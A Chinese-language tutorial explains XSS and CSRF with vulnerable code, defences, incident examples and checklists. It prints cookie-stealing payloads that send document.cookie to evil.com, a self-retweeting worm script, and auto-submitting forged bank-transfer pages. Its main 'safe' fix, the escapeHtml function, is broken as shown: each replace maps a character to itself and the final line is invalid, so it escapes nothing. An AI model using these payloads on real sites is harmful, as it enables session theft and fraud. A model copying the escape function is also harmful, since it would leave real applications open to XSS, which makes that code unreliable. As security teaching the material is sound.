前端安全的两座大山:跨站脚本攻击(XSS)与跨站请求伪造(CSRF), 本文从原理、攻击向量、防御策略三个维度展开,配合实战案例深入剖析。
一、XSS(Cross-Site Scripting,跨站脚本攻击)
1.1 核心原理
XSS 的本质:攻击者将恶意脚本注入到目标网站的页面中,当其他用户浏览该页面时,脚本在用户浏览器中执行,从而窃取 Cookie、Token、敏感信息,或冒充用户执行操作。
攻击者 → 向网站注入恶意脚本 → 用户访问含恶意脚本的页面 → 脚本在用户浏览器执行 → 数据泄露/操作伪造
1.2 三种类型及攻击向量
1.2.1 反射型 XSS(Reflected XSS)
恶意脚本通过 URL 参数、表单提交等方式"反射"回页面,需要用户点击恶意链接才能触发。
攻击示例:
javascript
// 假设后端搜索接口返回页面时直接拼接了搜索关键词
// URL: https://example.com/search?q=<script>alert(document.cookie)</script>
// 后端代码(不安全)
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>搜索结果: ${query}</h1>`); // 直接拼接,未转义!
});
用户点击该链接后,<script>alert(document.cookie)</script> 会在浏览器中执行,弹出用户的 Cookie。实际攻击中,攻击者会将 Cookie 发送到自己的服务器:
perl
// 攻击者构造的 URL(URL 编码后)
https://example.com/search?q=%3Cscript%3Efetch('https://evil.com/steal?c='+document.cookie)%3C/script%3E
防御方式:输出编码
javascript
// 安全的做法:对输出进行 HTML 实体编码
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>搜索结果: ${query}</h1>`);
});
1.2.2 存储型 XSS(Stored XSS)
恶意脚本被持久化存储在服务器(数据库、文件等),每次用户访问页面时都会触发,危害最大。
攻击示例:
php
// 假设一个留言板功能,攻击者在留言中插入恶意脚本
// 留言内容:
const maliciousComment = `
<p>这篇文章写得真好!</p>
<script>
// 窃取所有浏览该留言用户的 Cookie
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({ cookie: document.cookie, url: location.href }),
headers: { 'Content-Type': 'application/json' }
});
</script>
`;
// 后端直接存入数据库,不做过滤
db.comments.insert({ content: maliciousComment });
真实案例 ------ 2014年 TweetDeck XSS 漏洞:
攻击者发了一条包含以下代码的推文:
perl
<script class="xss">
$('.xss').parents().eq(1).find('a').eq(1).click();
$('[data-action=retweet]').click();
alert('XSS in TweetDeck');
</script>
由于 TweetDeck 未对推文内容做 HTML 转义,每个看到这条推文的用户都会自动转发该推文,形成蠕虫式传播,影响数十万用户。
防御方式:
css
// 1. 服务端:存储前做 HTML 转义
const sanitized = escapeHtml(comment.content);
db.comments.insert({ content: sanitized });
// 2. 使用 DOMPurify 做客户端清理
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML);
// 3. 设置 Content-Security-Policy HTTP 头
// Content-Security-Policy: default-src 'self'; script-src 'self'
1.2.3 DOM 型 XSS(DOM-based XSS)
恶意脚本不经过服务器,完全在客户端通过 DOM 操作执行。
攻击示例:
ini
// URL: https://example.com/profile#<img src=x onerror=alert(1)>
// 前端代码(不安全)
const hash = location.hash.slice(1);
document.getElementById('welcome').innerHTML = `欢迎,${hash}`;
innerHTML 直接插入未过滤的内容,onerror 事件触发脚本执行。
防御方式:
ini
// 使用 textContent 而非 innerHTML
document.getElementById('welcome').textContent = `欢迎,${hash}`;
// 或使用 createElement + textContent
const span = document.createElement('span');
span.textContent = hash;
document.getElementById('welcome').appendChild(span);
1.3 XSS 防御体系总结
| 防御层 | 策略 | 说明 |
|---|---|---|
| 输出编码 | HTML 实体转义 | 根据上下文选择正确的编码方式(HTML/JS/URL/CSS) |
| 输入验证 | 白名单校验 | 仅允许符合预期格式的输入 |
| CSP | Content-Security-Policy | 限制脚本来源,禁止内联脚本 |
| HttpOnly Cookie | Set-Cookie: HttpOnly | 禁止 JavaScript 读取 Cookie |
| 框架防护 | React/Vue 默认转义 | 现代框架默认对 {} 插值做转义 |
javascript
// React 中的 XSS 防护
// ✅ 安全:React 默认转义
<div>{userInput}</div>
// ❌ 危险:dangerouslySetInnerHTML 绕过转义
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// ✅ 如果必须用:先清理再渲染
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
二、CSRF(Cross-Site Request Forgery,跨站请求伪造)
2.1 核心原理
CSRF 的本质:攻击者诱导用户在已登录目标网站的情况下,访问攻击者构造的恶意页面,该页面自动向目标网站发送请求,利用用户已认证的身份执行非预期操作。
markdown
用户登录 bank.com → 浏览器存有 bank.com 的 Cookie
↓
用户访问 evil.com → evil.com 自动向 bank.com 发请求(携带 Cookie)
↓
bank.com 验证通过 → 执行攻击者预设的操作(转账、改密等)
2.2 攻击流程详解
场景:银行转账
ini
正常转账请求:
POST https://bank.com/transfer
Cookie: session=abc123
Body: toAccount=zhangsan&amount=10000
攻击者构造恶意页面:
xml
<!-- evil.com/csrf.html -->
<html>
<body>
<h1>恭喜中奖!点击领取</h1>
<!-- 方式一:自动提交表单 -->
<form id="csrf-form" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="toAccount" value="attacker">
<input type="hidden" name="amount" value="50000">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
<!-- 方式二:通过图片 GET 请求 -->
<img src="https://bank.com/transfer?toAccount=attacker&amount=50000"
style="display:none" />
<!-- 方式三:通过 fetch/XHR(CORS 限制下可能受限) -->
<script>
fetch('https://bank.com/transfer', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'toAccount=attacker&amount=50000'
});
</script>
</body>
</html>
当用户(已登录 bank.com)访问 evil.com/csrf.html 时,浏览器会自动携带 bank.com 的 Cookie 发送转账请求,银行服务器无法区分这是正常请求还是伪造请求。
2.3 真实案例
案例一:2008年 Gmail CSRF 漏洞
攻击者可以构造一个恶意页面,当 Gmail 用户访问该页面时,自动创建邮件过滤器,将用户所有邮件转发到攻击者的邮箱。攻击者只需构造一个指向 Gmail 过滤器设置接口的 POST 请求即可。
案例二:2009年 Twitter CSRF 蠕虫
攻击者利用 CSRF 漏洞,当用户访问恶意页面时,自动发推文。该推文包含恶意链接,导致看到推文的用户也访问恶意页面,形成传播链。
2.4 防御策略
2.4.1 同源检测(Origin / Referer)
ini
// 服务端验证请求来源
app.post('/transfer', (req, res) => {
const origin = req.headers.origin;
const referer = req.headers.referer;
// 验证 Origin 或 Referer 是否来自可信域名
const allowedOrigins = ['https://bank.com', 'https://www.bank.com'];
if (!origin || !allowedOrigins.includes(origin)) {
return res.status(403).json({ error: '非法请求来源' });
}
// 继续处理...
});
注意: Referer 在某些场景可能被禁用或篡改,不应作为唯一防御手段。
2.4.2 CSRF Token(最常用)
ini
// 服务端生成并返回 Token
app.get('/transfer-form', (req, res) => {
const csrfToken = crypto.randomUUID();
req.session.csrfToken = csrfToken;
res.render('transfer', { csrfToken });
});
// 前端提交时带上 Token
// <input type="hidden" name="_csrf" value="{{csrfToken}}" />
// 服务端验证 Token
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF 验证失败' });
}
// 继续处理...
});
前端实现:
php
// React 中通过 meta 标签传递 CSRF Token
// <meta name="csrf-token" content="{{csrfToken}}">
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken, // 自定义请求头携带 Token
},
body: JSON.stringify({ toAccount: 'zhangsan', amount: 10000 })
});
2.4.3 SameSite Cookie 属性
ini
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
| 值 | 行为 | 安全级别 |
|---|---|---|
Strict |
完全禁止跨站携带 Cookie | 最高,但可能影响用户体验 |
Lax |
仅顶级导航(GET 链接)允许跨站携带 | 推荐,平衡安全与体验 |
None |
无限制(需配合 Secure) |
最低,不推荐 |
2.4.4 双重 Cookie 验证
php
// 前端:将 Cookie 值写入请求头
const token = getCookie('csrf_token');
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': token },
body: formData
});
// 服务端:比较 Cookie 和请求头中的值
app.post('/transfer', (req, res) => {
const cookieToken = req.cookies.csrf_token;
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF 验证失败' });
}
});
2.4.5 自定义请求头
arduino
// 利用浏览器同源策略:跨域请求无法设置自定义请求头
fetch('/api/sensitive', {
headers: {
'X-Requested-With': 'XMLHttpRequest', // 自定义头
'Authorization': 'Bearer token123'
}
});
浏览器在跨域时无法添加自定义请求头(除非 CORS 预检通过),因此只要服务端验证自定义头存在即可防御简单 CSRF。
2.5 CSRF 防御体系总结
markdown
┌─────────────────────────────────────┐
│ CSRF 防御体系 │
├─────────────────────────────────────┤
│ 第1层:SameSite Cookie │
│ └─ 从源头阻止跨站携带 Cookie │
├─────────────────────────────────────┤
│ 第2层:Origin/Referer 检查 │
│ └─ 验证请求来源域名 │
├─────────────────────────────────────┤
│ 第3层:CSRF Token │
│ └─ 不可预测的令牌验证 │
├─────────────────────────────────────┤
│ 第4层:自定义请求头 │
│ └─ 利用同源策略限制 │
├─────────────────────────────────────┤
│ 第5层:用户交互确认 │
│ └─ 敏感操作二次验证(短信/密码) │
└─────────────────────────────────────┘
三、XSS vs CSRF 对比
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 用户浏览器 | Web 应用服务器 |
| 利用对象 | 网站的 XSS 漏洞 | 用户已认证的会话 |
| 必要条件 | 网站存在输出未转义的输入点 | 用户已登录目标网站 |
| 攻击影响 | 执行任意 JS 代码,完全控制用户会话 | 以用户身份执行特定操作 |
| 核心防御 | 输出编码 + CSP | CSRF Token + SameSite Cookie |
| 是否依赖同源策略 | 否(脚本注入到同源页面) | 是(利用跨域自动携带 Cookie) |
组合攻击:XSS + CSRF
XSS 可以绕过 CSRF 的所有防御:
php
// 攻击者通过 XSS 注入此脚本
// 因为脚本在同源页面执行,可以读取 CSRF Token,绕过所有 CSRF 防御
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({ toAccount: 'attacker', amount: 99999 })
});
这就是为什么防御 XSS 是前提:如果 XSS 存在,CSRF 防御形同虚设。
四、实践检查清单
XSS 检查清单
- 所有用户输入在输出时做 HTML 实体编码
- 避免使用
innerHTML、document.write、eval - 设置 Content-Security-Policy 头
- Cookie 设置 HttpOnly 和 Secure 标志
- 使用 DOMPurify 清理富文本
- 对 URL 参数做验证和编码
- 文件上传校验 MIME 类型
CSRF 检查清单
- 所有状态变更请求使用 POST/PUT/DELETE(非 GET)
- 实现 CSRF Token 机制
- 设置 SameSite=Lax Cookie
- 验证 Origin/Referer 头
- 敏感操作需要二次验证
- API 使用 Token 认证(JWT)而非 Cookie
- 避免使用 JSONP
五、总结
XSS 和 CSRF 是 Web 安全中最常见的两类攻击。XSS 利用了对输入的信任 ,CSRF 利用了对浏览器的信任。
防御的核心思路:
- XSS:永远不要信任用户输入,输出必须编码
- CSRF:永远不要信任浏览器自动携带的凭证,必须额外验证
在实际开发中,现代前端框架(React、Vue)和主流后端框架(Spring Security、Django)都提供了内置的安全防护,但理解其原理仍然至关重要------因为框架只能防御常见模式,定制化的危险操作仍需要开发者自己把关。